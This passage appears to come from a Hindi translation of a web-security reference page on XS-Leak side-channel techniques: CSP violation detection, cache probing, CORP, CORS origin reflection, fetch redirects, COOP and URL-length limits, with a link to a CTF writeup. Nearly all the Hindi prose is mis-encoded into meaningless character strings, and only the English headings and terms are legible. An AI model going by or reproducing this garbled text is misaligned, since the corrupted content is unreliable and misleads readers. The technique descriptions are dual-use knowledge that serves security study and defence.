рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬреЛ рдкрд░рд┐рд╖реНрдХреГрдд XS-Leak рд╣рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рд░рд╛рд╕реНрддрд╛ рдкреНрд░рд╢рд╕реНрдд рдХрд░рддреА рд╣реИред

CSP Violation/Detection

рдПрдХ XS-Leak CSP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдПрдХ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╕рд╛рдЗрдЯ рдХреЛ рдПрдХ рдЕрд▓рдЧ рдореВрд▓ рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдпрд╣ рд▓реАрдХ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рд▓рдХреНрд╖реНрдп рдХрд╛ рдбреЛрдореЗрди рднреА рд▓реАрдХ рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рд╣рдорд▓реЗ рдХрд╛ рдореВрд▓ рд╡рд┐рдЪрд╛рд░ рд╣реИ рд╣рдорд▓рд╛рд╡рд░ рд╕рд╛рдЗрдЯ рдкрд░ рд▓рдХреНрд╖рд┐рдд рдбреЛрдореЗрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдирд╛ред рдПрдХ рдмрд╛рд░ рдЬрдм рд▓рдХреНрд╖рд┐рдд рдбреЛрдореЗрди рдкрд░ рдПрдХ рдЕрдиреБрд░реЛрдз рдЬрд╛рд░реА рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рд╣реЛрддрд╛ рд╣реИ рдПрдХ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдбреЛрдореЗрди рдкрд░ред CSP рдЗрд╕рдХреЗ рд▓рд┐рдП рдкрд╣реБрдВрдЪ рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░рддрд╛ рд╣реИ рдФрд░ рдПрдХ рдЙрд▓реНрд▓рдВрдШрди рд░рд┐рдкреЛрд░реНрдЯ рдмрдирд╛рддрд╛ рд╣реИ рдЬреЛ рд▓реАрдХ рддрдХрдиреАрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИред рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рдпрд╣ рд░рд┐рдкреЛрд░реНрдЯ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдХреЗ рд▓рдХреНрд╖реНрдп рд╕реНрдерд╛рди рдХреЛ рд▓реАрдХ рдХрд░ рд╕рдХрддреА рд╣реИред рдЖрдзреБрдирд┐рдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдпрд╣ рдирд╣реАрдВ рдмрддрд╛рддреЗ рдХрд┐ рдЗрд╕реЗ рдХрд┐рд╕ URL рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рд▓реЗрдХрд┐рди рдЖрдк рдЕрднреА рднреА рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдПрдХ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

Cache

рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕рднреА рд╡реЗрдмрд╕рд╛рдЗрдЯреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд╛рдЭрд╛ рдХреИрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЙрдирдХреЗ рдореВрд▓ рдХреА рдкрд░рд╡рд╛рд╣ рдХрд┐рдП рдмрд┐рдирд╛, рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рд▓рдХреНрд╖рд┐рдд рдкреГрд╖реНрда рдиреЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рд╣реИред

рдпрджрд┐ рдПрдХ рдкреГрд╖реНрда рдХреЗрд╡рд▓ рддрднреА рдПрдХ рдЫрд╡рд┐ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИ рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓реЙрдЧ рдЗрди рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдЖрдк рд╕рдВрд╕рд╛рдзрди рдХреЛ рдЕрдорд╛рдиреНрдп рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рддрд╛рдХрд┐ рдпрд╣ рдЕрдм рдХреИрд╢ рдореЗрдВ рди рд╣реЛ, рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рд▓рд┐рдВрдХ рджреЗрдЦреЗрдВ), рдПрдХ рдЕрдиреБрд░реЛрдз рдХрд░реЗрдВ рдЬреЛ рдЙрд╕ рд╕рдВрд╕рд╛рдзрди рдХреЛ рд▓реЛрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЦрд░рд╛рдм рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рд╛рде рд╕рдВрд╕рд╛рдзрди рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ (рдЬреИрд╕реЗ, рдПрдХ рд▓рдВрдмреЗ рд╕рдВрджрд░реНрдн рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ)ред рдпрджрд┐ рд╕рдВрд╕рд╛рдзрди рд▓реЛрдб рдХрд┐рд╕реА рддреНрд░реБрдЯрд┐ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдпрд╣ рдХреИрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

CSP Directive

  • Inclusion Methods: Frames

  • Detectable Difference: Header

  • Summary: CSP рд╣реЗрдбрд░ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЛ CSP iframe рд╡рд┐рд╢реЗрд╖рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬрд╛рдВрдЪрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдиреАрддрд┐ рд╡рд┐рд╡рд░рдг рдкреНрд░рдХрдЯ рдХрд░рддрд╛ рд╣реИред

Google Chrome (GC) рдореЗрдВ рдПрдХ рдирдпрд╛ рдлреАрдЪрд░ рд╡реЗрдм рдкреГрд╖реНрдареЛрдВ рдХреЛ рдПрдХ рд╕рд╛рдордЧреНрд░реА рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐ (CSP) рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬреЛ iframe рддрддреНрд╡ рдкрд░ рдПрдХ рд╡рд┐рд╢реЗрд╖рддрд╛ рд╕реЗрдЯ рдХрд░рдХреЗ, рдиреАрддрд┐ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЛ HTTP рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рд╛рде рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╕рд╛рдорд╛рдиреНрдпрддрдГ, рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рд╕рд╛рдордЧреНрд░реА рдХреЛ рдЗрд╕рдХреА рдЕрдиреБрдорддрд┐ HTTP рд╣реЗрдбрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рджреЗрдиреА рдЪрд╛рд╣рд┐рдП, рдпрд╛ рдПрдХ рддреНрд░реБрдЯрд┐ рдкреГрд╖реНрда рдкреНрд░рджрд░реНрд╢рд┐рдд рд╣реЛрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрджрд┐ iframe рдкрд╣рд▓реЗ рд╕реЗ рд╣реА CSP рджреНрд╡рд╛рд░рд╛ рд╢рд╛рд╕рд┐рдд рд╣реИ рдФрд░ рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдиреАрддрд┐ рдЕрдзрд┐рдХ рдкреНрд░рддрд┐рдмрдВрдзрд╛рддреНрдордХ рдирд╣реАрдВ рд╣реИ, рддреЛ рдкреГрд╖реНрда рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рд▓реЛрдб рд╣реЛрдЧрд╛ред рдпрд╣ рддрдВрддреНрд░ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдкреГрд╖реНрда рдХреЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ CSP рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдорд╛рд░реНрдЧ рдЦреЛрд▓рддрд╛ рд╣реИ, рддреНрд░реБрдЯрд┐ рдкреГрд╖реНрда рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдХреЗред рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ рдареАрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рд╣рдорд╛рд░реЗ рдирд┐рд╖реНрдХрд░реНрд╖ рдПрдХ рдирдП рд▓реАрдХ рддрдХрдиреАрдХ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рддреЗ рд╣реИрдВ рдЬреЛ рддреНрд░реБрдЯрд┐ рдкреГрд╖реНрда рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ, рдпрд╣ рд╕реБрдЭрд╛рд╡ рджреЗрддреЗ рд╣реБрдП рдХрд┐ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рд╕рдорд╕реНрдпрд╛ рдХреЛ рдХрднреА рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕рдВрдмреЛрдзрд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

CORP

  • Inclusion Methods: Fetch API

  • Detectable Difference: Header

  • Summary: рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╕рдВрд╕рд╛рдзрди рдиреАрддрд┐ (CORP) рдХреЗ рд╕рд╛рде рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рдВрд╕рд╛рдзрди рдПрдХ рдЕрд╕реНрд╡реАрдХреГрдд рдореВрд▓ рд╕реЗ рд▓рд╛рдП рдЬрд╛рдиреЗ рдкрд░ рддреНрд░реБрдЯрд┐ рдлреЗрдВрдХреЗрдВрдЧреЗред

CORP рд╣реЗрдбрд░ рдПрдХ рдЕрдкреЗрдХреНрд╖рд╛рдХреГрдд рдирдпрд╛ рд╡реЗрдм рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рд╕реБрд░рдХреНрд╖рд╛ рдлреАрдЪрд░ рд╣реИ рдЬреЛ рд╕реЗрдЯ рд╣реЛрдиреЗ рдкрд░ рджрд┐рдП рдЧрдП рд╕рдВрд╕рд╛рдзрди рдХреЗ рд▓рд┐рдП рдиреЛ-CORS рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░рддрд╛ рд╣реИред рд╣реЗрдбрд░ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ CORP рдХреЗ рд╕рд╛рде рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рдВрд╕рд╛рдзрди рд▓рд╛рдП рдЬрд╛рдиреЗ рдкрд░ рддреНрд░реБрдЯрд┐ рдлреЗрдВрдХреЗрдВрдЧреЗред

CORB

рд╣рдорд▓реЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рд▓рд┐рдВрдХ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред

CORS error on Origin Reflection misconfiguration

рдпрджрд┐ Origin рд╣реЗрдбрд░ рдХреЛ рдкрд░рд╛рд╡рд░реНрддрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рд╣реЗрдбрд░ Access-Control-Allow-Origin рдореЗрдВ, рддреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ CORS рдореЛрдб рдореЗрдВ рд╕рдВрд╕рд╛рдзрди рдХреЛ рд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдПред рдпрджрд┐ рддреНрд░реБрдЯрд┐ рдЯреНрд░рд┐рдЧрд░ рдирд╣реАрдВ рд╣реЛрддреА рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЗрд╕реЗ рд╡реЗрдм рд╕реЗ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдпрджрд┐ рддреНрд░реБрдЯрд┐ рдЯреНрд░рд┐рдЧрд░ рд╣реЛрддреА рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЗрд╕реЗ рдХреИрд╢ рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ (рддреНрд░реБрдЯрд┐ рдЗрд╕рд▓рд┐рдП рдкреНрд░рдХрдЯ рд╣реЛрддреА рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдХреИрд╢ рдПрдХ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ CORS рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рдмрдЪрд╛рддрд╛ рд╣реИ рдЬреЛ рдореВрд▓ рдбреЛрдореЗрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдФрд░ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдбреЛрдореЗрди рдХреА рдирд╣реАрдВ)**ред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдореВрд▓ рдкрд░рд╛рд╡рд░реНрддрд┐рдд рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдПрдХ рд╡рд╛рдЗрд▓реНрдбрдХрд╛рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (Access-Control-Allow-Origin: *), рддреЛ рдпрд╣ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ред

Readable Attributes Technique

Fetch Redirect

  • Inclusion Methods: Fetch API

  • Detectable Difference: Status Code

  • Summary: GC рдФрд░ SA рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рд╕рдорд╛рдкреНрдд рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рдкреНрд░рдХрд╛рд░ (opaque-redirect) рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред

redirect: "manual" рдФрд░ рдЕрдиреНрдп рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде Fetch API рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдЕрдиреБрд░реЛрдз рд╕рдмрдорд┐рдЯ рдХрд░рддреЗ рд╕рдордп, рдпрд╣ response.type рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЛ рдкрдврд╝рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдФрд░ рдпрджрд┐ рдпрд╣ opaqueredirect рдХреЗ рдмрд░рд╛рдмрд░ рд╣реИ, рддреЛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдПрдХ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдереАред

COOP

  • Inclusion Methods: Pop-ups

  • Detectable Difference: Header

  • Summary: рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдУрдкрдирд░ рдиреАрддрд┐ (COOP) рджреНрд╡рд╛рд░рд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рдкреГрд╖реНрда рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдЗрдВрдЯрд░реИрдХреНрд╢рди рд╕реЗ рдкрд╣реБрдВрдЪ рдХреЛ рд░реЛрдХрддреЗ рд╣реИрдВред

рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдУрдкрдирд░ рдиреАрддрд┐ (COOP) рд╣реЗрдбрд░ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИред COOP рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рджреНрд╡рд╛рд░рд╛ рдмрд╛рд╣рд░реА рд╕рд╛рдЗрдЯреЛрдВ рдХреЛ рдордирдорд╛рдиреЗ рд╡рд┐рдВрдбреЛ рд╕рдВрджрд░реНрдн рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕ рд╣реЗрдбрд░ рдХреА рджреГрд╢реНрдпрддрд╛ рдХреЛ contentWindow рд╕рдВрджрд░реНрдн рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдХреЗ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрди рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдореЗрдВ рдЬрд╣рд╛рдВ COOP рдХреЛ рд╢рд░реНрддреЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, opener рдкреНрд░реЙрдкрд░реНрдЯреА рдПрдХ рд╕реНрдкрд╖реНрдЯ рд╕рдВрдХреЗрддрдХ рдмрди рдЬрд╛рддреА рд╣реИ: рдпрд╣ рдЕрдкрд░рд┐рднрд╛рд╖рд┐рдд рд╣реЛрддреА рд╣реИ рдЬрдм COOP рд╕рдХреНрд░рд┐рдп рд╣реЛрддрд╛ рд╣реИ, рдФрд░ рдЗрд╕рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рд╣реЛрддреА рд╣реИред

URL Max Length - Server Side

  • Inclusion Methods: Fetch API, HTML Elements

  • Detectable Difference: Status Code / Content

  • Summary: рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд▓рдВрдмрд╛рдИ рдХреЗ рдХрд╛рд░рдг рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдореЗрдВ рднрд┐рдиреНрдирддрд╛рдУрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдмрд╣реБрдд рдмрдбрд╝реА рд╣реЛ рд╕рдХрддреА рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░ рдПрдХ рддреНрд░реБрдЯрд┐ рдХреЗ рд╕рд╛рде рдкреБрдирдГ рдЦреЗрд▓рддрд╛ рд╣реИ рдФрд░ рдПрдХ рдЕрд▓рд░реНрдЯ рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИред

рдпрджрд┐ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдФрд░ рдЕрддрд┐рд░рд┐рдХреНрдд рдбреЗрдЯрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рд╕рд░реНрд╡рд░ рдХреЗ рдкрд╛рд╕ рд╕реАрдорд┐рдд рдЕрдиреБрд░реЛрдз рд▓рдВрдмрд╛рдИ рд╣реЛрддреА рд╣реИред рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдбреЗрдЯрд╛ рд▓рдВрдмрд╛рдИ - 1 рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдЙрд╕ рдбреЗрдЯрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рдХреБрдЫ рдЕрддрд┐рд░рд┐рдХреНрдд рдЬреЛрдбрд╝ рд░рд╣рд╛ рд╣реИ, рддреЛ рдпрд╣ рддреНрд░реБрдЯрд┐ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░реЗрдЧрд╛ рдЬрд┐рд╕реЗ рддреНрд░реБрдЯрд┐ рдШрдЯрдирд╛рдУрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рддрд░рд╣ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдХреБрдХреАрдЬрд╝ рд╕реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдкрд░реНрдпрд╛рдкреНрдд рдХреБрдХреАрдЬрд╝ рд╕реЗрдЯ рдХрд░рдХреЗ рдЗрд╕ рд╣рдорд▓реЗ рдХреЛ рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдХреБрдХреА рдмрдо) рддрд╛рдХрд┐ рд╕рд╣реА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рдмрдврд╝реЗ рд╣реБрдП рдЖрдХрд╛рд░ рдХреЗ рд╕рд╛рде рдПрдХ рддреНрд░реБрдЯрд┐ рдЯреНрд░рд┐рдЧрд░ рд╣реЛред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк рдЗрд╕ рдЕрдиреБрд░реЛрдз рдХреЛ рдПрдХ рд╣реА рд╕рд╛рдЗрдЯ рд╕реЗ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ <script> рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдХреБрдХреАрдЬрд╝ рднреЗрдЬреЗрдЧрд╛ (рддрд╛рдХрд┐ рдЖрдк рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХреЗрдВ)ред рдХреБрдХреА рдмрдо + XS-Search рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдЗрд╕ рд▓реЗрдЦрди рдХреЗ рдЗрд░рд╛рджрд┐рдд рд╕рдорд╛рдзрд╛рди рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None рдпрд╛ рдПрдХ рд╣реА рд╕рдВрджрд░реНрдн рдореЗрдВ рд╣реЛрдирд╛ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреЗ рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдЖрд╡рд╢реНрдпрдХ рд╣реИред

URL Max Length - Client Side

  • Inclusion Methods: Pop-ups

  • Detectable Difference: Status Code / Content

  • Summary: рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд▓рдВрдмрд╛рдИ рдХреЗ рдХрд╛рд░рдг рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдореЗрдВ рднрд┐рдиреНрдирддрд╛рдУрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдПрдХ рдЕрдиреБрд░реЛрдз рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдмрдбрд╝реА рд╣реЛ рд╕рдХрддреА рд╣реИ рдХрд┐ рдПрдХ рднрд┐рдиреНрдирддрд╛ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

Chromium рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рдЕрдиреБрд╕рд╛рд░, Chrome рдХреА рдЕрдзрд┐рдХрддрдо URL рд▓рдВрдмрд╛рдИ 2MB рд╣реИред

рд╕рд╛рдорд╛рдиреНрдпрддрдГ, рд╡реЗрдм рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо URL рдХреА рд▓рдВрдмрд╛рдИ рдкрд░ рдХреЛрдИ рд╕реАрдорд╛ рдирд╣реАрдВ рд░рдЦрддрд╛ (рд╣рд╛рд▓рд╛рдВрдХрд┐ 2^31 рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд╕реАрдорд╛ рд╣реИ)ред Chrome рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рдХрд╛рд░рдгреЛрдВ рдФрд░ рдЕрдВрддрдГрдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕рдВрдЪрд╛рд░ рдореЗрдВ рд╕реЗрд╡рд╛ рд╕реЗ рдЗрдирдХрд╛рд░ рдХреА рд╕рдорд╕реНрдпрд╛рдУрдВ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП URLs рдХреЛ рдЕрдзрд┐рдХрддрдо рд▓рдВрдмрд╛рдИ 2MB рддрдХ рд╕реАрдорд┐рдд рдХрд░рддрд╛ рд╣реИред

